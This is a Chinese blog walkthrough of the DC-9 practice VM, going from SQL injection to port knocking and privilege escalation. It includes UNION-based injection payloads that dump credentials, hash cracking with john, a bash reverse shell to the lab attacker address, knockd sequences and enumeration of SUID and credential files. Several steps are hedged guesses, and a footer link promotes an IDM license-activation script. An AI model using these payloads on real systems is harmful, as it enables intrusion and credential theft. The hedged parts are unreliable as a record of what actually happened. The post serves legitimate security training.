news 2026/7/7 5:12:02

DC-9靶场渗透实战:从SQL注入到端口敲门绕过防火墙

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DC-9靶场渗透实战:从SQL注入到端口敲门绕过防火墙

1. 项目概述:一次完整的渗透测试实战复盘

最近在复现一个经典的渗透测试靶场——DC-9。这个靶机很有意思,它不像一些“直给”的靶机,把漏洞直接摆在你面前,而是模拟了一个相对真实的、有防护措施的环境。整个渗透路径从Web应用的SQL注入开始,逐步深入,最终需要利用一个名为“端口敲门”的技术来绕过防火墙限制,获取最终权限。这个过程非常考验渗透测试者的信息收集、漏洞利用和绕过防御的综合能力。如果你正在学习渗透测试,或者想了解如何在一个有防火墙的环境中“迂回前进”,那么这次实战复盘应该能给你不少启发。我会手把手带你走一遍我当时的思路和操作,并重点解释每个步骤背后的逻辑,以及那些容易踩坑的地方。

2. 环境准备与信息收集

2.1 靶机环境搭建与网络配置

DC-9靶机通常以虚拟机镜像(如OVA格式)的形式提供。我的做法是将其导入到VMware Workstation或VirtualBox中。这里有个关键点:网络模式的选择。为了模拟真实的内网渗透场景,我强烈建议将靶机的网络适配器设置为“NAT模式”或“仅主机模式”,而不是桥接模式。这样,你的攻击机(通常是Kali Linux)和靶机会处于同一个虚拟子网内,你无法直接通过外部网络访问靶机的所有端口,这恰恰是后续“端口敲门”技术存在的意义——有些服务被防火墙隐藏了,需要特定“暗号”才能打开。

启动靶机后,第一件事是确定它的IP地址。由于靶机通常不会主动告诉你,我们需要进行网络扫描。在Kali攻击机上,使用netdiscoverarp-scan进行二层发现是最快的方式:

sudo netdiscover -r 192.168.1.0/24

假设你的Kali IP是192.168.1.105,扫描后发现一个新增的IP192.168.1.110,这很可能就是DC-9靶机。接下来,就是全面的信息收集阶段。

2.2 全方位端口与服务探测

信息收集是渗透测试的基石,做得越细,后面的路越顺。我习惯使用nmap进行多轮扫描,由浅入深。

第一轮:快速扫描常用端口

nmap -sS -T4 192.168.1.110

-sS是TCP SYN扫描,速度快且相对隐蔽;-T4指定扫描速度。这次扫描结果可能会让你有点意外:只开放了80端口(HTTP服务)和22端口(SSH服务)。一个渗透测试靶机只开两个常见端口?这显然不合常理,暗示着一定有其他服务被隐藏或过滤了。

第二轮:全面扫描与版本探测

nmap -sS -sV -sC -O -p- 192.168.1.110
  • -sV: 探测服务版本。
  • -sC: 使用默认的Nmap脚本进行更深入的探测。
  • -O: 尝试识别操作系统。
  • -p-: 扫描所有65535个端口。

这次扫描耗时较长,但结果可能依然只有80和22端口。这强烈指向了防火墙的存在。防火墙规则可能丢弃了发往其他端口的SYN包,导致nmap认为端口是关闭的(filtered)。此时,一个经验丰富的测试者会想到:是否存在“端口敲门”机制?某些服务(如SSH的管理端口、后台服务端口)被配置为只有在接收到特定序列的TCP/UDP包后,防火墙才会临时开放对该端口的访问。

注意:在实际测试中,不要一上来就用-p-全端口扫描,尤其是在时间有限或需要隐蔽的场景下。应先快速扫描常用端口(-F),根据结果再决定下一步。盲目全扫既低效又可能触发告警。

3. Web应用漏洞挖掘与利用

3.1 网站目录结构与功能分析

既然80端口开放,浏览器访问http://192.168.1.110。映入眼帘的是一个简单的搜索页面,功能是搜索用户。尝试输入一些测试数据,如一个单引号,页面返回了数据库错误信息。这几乎明示了存在SQL注入漏洞。

在深入利用之前,我用gobusterdirb对网站目录进行了一次爆破,寻找后台或隐藏文件:

gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/common.txt

结果可能发现了/admin/config.php等路径,但访问/admin需要登录,这为我们后续利用SQL注入获取登录凭证提供了目标。

3.2 SQL注入漏洞的确认与手动利用

面对搜索框,我首先进行漏洞确认:

  1. 输入admin'-> 返回SQL语法错误。确认存在注入点。
  2. 判断字段数admin' order by 5--逐步增加数字,直到页面返回错误。假设order by 4正常,order by 5错误,说明当前查询结果有4列。
  3. 判断回显点admin' union select 1,2,3,4--。查看页面哪个位置显示了数字(如2和3),这些位置就可以用来回显我们想要的信息。

接下来就是经典的信息获取流程:

  • 获取数据库名admin' union select 1,database(),3,4--
  • 获取表名admin' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--
  • 获取列名(针对感兴趣的表,如users):admin' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--
  • 拖取数据admin' union select 1,group_concat(username,':',password),3,4 from users--

实操心得:在联合查询注入时,务必注意前后查询的字段数、数据类型必须一致。如果页面没有明显回显数字,可以尝试将查询结果输出到页面的某个文本字段(如搜索框的value属性里),或者使用limit子句一行行查看,避免数据过多导致显示混乱。另外,遇到单引号被过滤或转义时,可以考虑使用十六进制编码表名(如0x7573657273代表users)。

3.3 凭证破解与后台登录

users表中拖出来的密码字段,很可能是哈希值(如MD5)。使用hash-identifier工具识别一下,如果是MD5,就可以用john或在线彩虹表进行破解。

echo “哈希值” > hash.txt john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

破解出明文密码后,尝试用得到的用户名/密码组合登录之前发现的/admin页面。成功登录后台后,往往能发现新的功能点,比如文件上传、命令执行或者更多的数据,这些都可能成为进一步的突破口。在DC-9中,后台可能提供了一个“添加用户”或“执行命令”的功能,这为我们获取一个反向Shell创造了条件。

4. 权限提升与内部信息搜集

4.1 获取初始Shell与立足点

假设我们在后台找到了一个命令执行点(可能隐藏在某个表单参数里,如command=),我们可以利用它来获取一个反向Shell。在攻击机上监听:

nc -lvnp 4444

然后在命令执行点输入反弹Shell命令。根据靶机环境,命令可能有所不同,一个常用的bash反向Shell是:

bash -c 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1'

或者使用更稳定的方式,如用python、perl、php等语言编写的一行反弹Shell代码。成功连接后,我们就获得了一个低权限的Shell(通常是www-data用户)。

4.2 系统内部枚举与敏感文件查找

拿到Shell后,不要急着乱跑,先做系统的“体检”:

  1. 查看当前用户和权限id,whoami
  2. 查看系统信息uname -a,cat /etc/issue,cat /etc/*release
  3. 查看进程ps aux
  4. 查看网络连接netstat -antpss -tulnp这里非常关键!你可能会发现靶机本地(127.0.0.1::1)监听了一些在高位端口(如8080,9000)的服务,但这些服务在外部扫描时是看不到的,因为它们只绑定在本地回环地址上。
  5. 查找敏感文件
    • 数据库配置文件:find / -name “*.php” -type f 2>/dev/null | xargs grep -l “mysql_connect\|mysqli\|PDO”
    • 密码文件:cat /etc/passwd,查看有哪些用户。
    • 历史命令:cat ~/.bash_history(但当前用户可能没有)。
    • SUID文件:find / -perm -4000 -type f 2>/dev/null,查找有特殊权限的可执行文件。
    • 可写目录或文件:find / -writable -type d 2>/dev/null

在DC-9中,内部枚举很可能发现一个只在本地监听的Web服务(比如在127.0.0.1:8080)。这就是我们下一步需要访问的目标,但由于防火墙,我们从外部无法直接连接。

5. 端口敲门技术原理与实战绕过

5.1 什么是端口敲门?

端口敲门是一种隐蔽的防火墙规则动态修改技术。服务端运行一个“敲门守护进程”(knockd),它持续监听特定的、看似关闭的端口。客户端按照预设的序列,向这些端口发送数据包(如TCP SYN包)。knockd捕获到这个特定序列后,会临时修改防火墙规则(如iptables),开放另一个真正提供服务的端口(如SSH的2222端口),允许客户端的IP地址访问一段时间。时间过后或连接关闭后,规则自动恢复,服务再次隐藏。

它的好处是:从外部扫描,服务端口始终是关闭或过滤状态,极大地减少了被自动化工具发现和攻击的风险。只有知道正确“敲门暗号”的人才能访问。

5.2 在靶机中寻找敲门线索

如何知道靶机使用了端口敲门,以及敲门序列是什么?这需要我们在已经获得的Shell里仔细搜寻:

  1. 检查进程ps aux | grep knock。可能会发现knockd进程。
  2. 检查配置文件
    • find / -name “knockd.conf” -type f 2>/dev/null
    • find / -name “*.conf” -type f 2>/dev/null | xargs grep -l “knock”
    • 直接查看/etc/knockd.conf
  3. 检查日志文件/var/log/knockd.log可能记录敲门尝试。
  4. 检查用户目录cat /home/用户名/.bash_historycat /home/用户名/.knockrc,可能包含用户手动敲门的历史命令。

假设我们在/etc/knockd.conf中找到了如下配置:

[options] logfile = /var/log/knockd.log [openSSH] sequence = 7469,8475,9842 seq_timeout = 5 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 5 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

这个配置告诉我们:

  • 开门序列是:7469,8475,9842
  • 使用TCP SYN包。
  • 成功后将允许我们的IP访问靶机的22端口(SSH)。
  • 还有一个关门序列,用于访问后关闭通道。

5.3 实施端口敲门与连接隐藏服务

现在我们知道了序列,就可以从我们的攻击机上“敲门”了。有多种工具可以实现,最直接的是用knock命令(Kali通常已安装):

knock 192.168.1.110 7469 8475 9842

这条命令会依次向靶机的7469、8475、9842端口发送TCP SYN包。如果序列正确且在规定时间(seq_timeout)内完成,靶机的knockd守护进程就会执行command,即为我们当前的攻击机IP(192.168.1.105)在防火墙中临时添加一条规则,允许访问22端口。

敲门完成后,需要立刻进行验证。因为规则可能是临时的。

  1. 快速扫描22端口nmap -p 22 192.168.1.110。如果状态从filtered变为open,恭喜你,敲门成功。
  2. 立即连接SSHssh username@192.168.1.110。使用之前在Web阶段破解或找到的某个用户凭证进行登录。这一步非常关键,因为你可能获得了比www-data权限更高的用户Shell(比如一个普通用户john)。

注意事项:端口敲门对时间非常敏感。seq_timeout定义了完成整个序列的最大时间窗口(本例是5秒)。所以最好使用knock命令,它默认会快速连续发送包。如果手动用ncnmap一个个端口去敲,间隔时间太长会导致失败。另外,敲门成功后,连接动作要快,防火墙规则可能在一段时间后或连接结束后自动撤销。

6. 最终权限提升与总结反思

6.1 利用内部服务与SUID提权

通过SSH登录到新用户后,我们再次进行信息枚举。现在可以访问之前发现的内部服务了(比如127.0.0.1:8080)。在本地使用端口转发将内部服务映射到攻击机:

# 在SSH会话中执行(需要SSH服务支持) ssh -L 8080:127.0.0.1:8080 john@192.168.1.110

然后,在攻击机的浏览器访问http://127.0.0.1:8080,就能看到这个内部Web服务。这个服务可能包含新的漏洞,或者直接暴露敏感信息。

同时,继续检查提权向量。再次运行find / -perm -4000 -type f 2>/dev/null,对比之前www-data用户看到的列表,也许能以当前用户身份执行某些SUID文件。或者,检查sudo -l,查看当前用户能以root身份无需密码执行哪些命令。在DC-9中,经典提权路径可能是利用一个具有SUID权限的、用root编译的本地程序(比如一个自定义的备份脚本、文本编辑器等),通过环境变量劫持或参数注入等方式,最终获取root shell。

6.2 完整攻击链复盘与防御思考

回顾整个DC-9的渗透过程,攻击链非常清晰:

  1. 外部侦察:发现仅有80和22端口开放,暗示存在防火墙/隐藏服务。
  2. Web突破:通过前端的SQL注入漏洞,获取后台管理员凭证。
  3. 立足内部:利用后台功能获取低权限Web Shell。
  4. 内部侦察:发现本地监听的高端口服务,并找到端口敲门配置。
  5. 绕过防御:利用发现的敲门序列,从外部临时打开防火墙对SSH的访问。
  6. 权限升级:通过SSH使用更高级用户登录,访问内部服务,并利用系统配置弱点(如SUID程序)完成提权。

从防御角度看,这个靶机暴露了多个问题:

  • 输入验证不足:前端搜索框未对用户输入进行过滤,导致SQL注入。
  • 纵深防御缺失:后台登录后缺乏二次验证或操作审计,导致命令执行。
  • 敏感信息泄露:端口敲门的配置文件权限设置不当,被低权限用户读取。
  • 权限配置不当:存在不安全的SUID程序。

对于我们学习者而言,DC-9的价值在于它串联了多个中级渗透测试知识点,并引入了“端口敲门”这个相对少见的绕过技术。它告诉我们,在面对防护时,不要轻易放弃,获取一个内部立足点后,仔细的信息收集往往能发现意想不到的突破口。真正的渗透测试,很多时候就是一场信息战的博弈。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 5:02:38

国产振动测试 “香饽饽”|GB/T 4857.23-2021附录D为啥人人都爱用

先搞懂:GB/T 4857.23 到底是什么?GB/T 4857.23-2021 全称《包装 运输包装件基本试验 第 23 部分:垂直随机振动试验方法》,是国内运输包装振动测试的现行国标,2022 年 5 月正式实施。它专门模拟货车、火车运输时无规律的…

作者头像 李华
网站建设 2026/7/7 5:01:24

从“思考”到“行动”:2026年AI世界的几个关键切片

如果说前两年人们谈论AI时还在追问“它能回答什么”,那么到了2026年,问题已经变成了“它能完成什么”。这场转变并非悄无声息——从北京到旧金山,从企业会议室到联合国峰会,AI正在完成一次深刻的角色转换。 智能体:AI…

作者头像 李华
网站建设 2026/7/7 4:58:00

基于多源数据融合与GNN的代码安全漏洞实时检测系统设计与实践

1. 项目概述:为什么我们需要“实时”的代码安全漏洞检测?在软件开发领域,代码安全漏洞就像是隐藏在建筑结构中的“应力裂纹”,平时不易察觉,一旦遭遇特定条件(如恶意输入、高并发压力)&#xff…

作者头像 李华
网站建设 2026/7/7 4:56:02

如何永久免费使用IDM?开源激活脚本终极指南

如何永久免费使用IDM?开源激活脚本终极指南 【免费下载链接】IDM-Activation-Script IDM Activation & Trail Reset Script 项目地址: https://gitcode.com/gh_mirrors/id/IDM-Activation-Script 还在为Internet Download Manager(IDM&#x…

作者头像 李华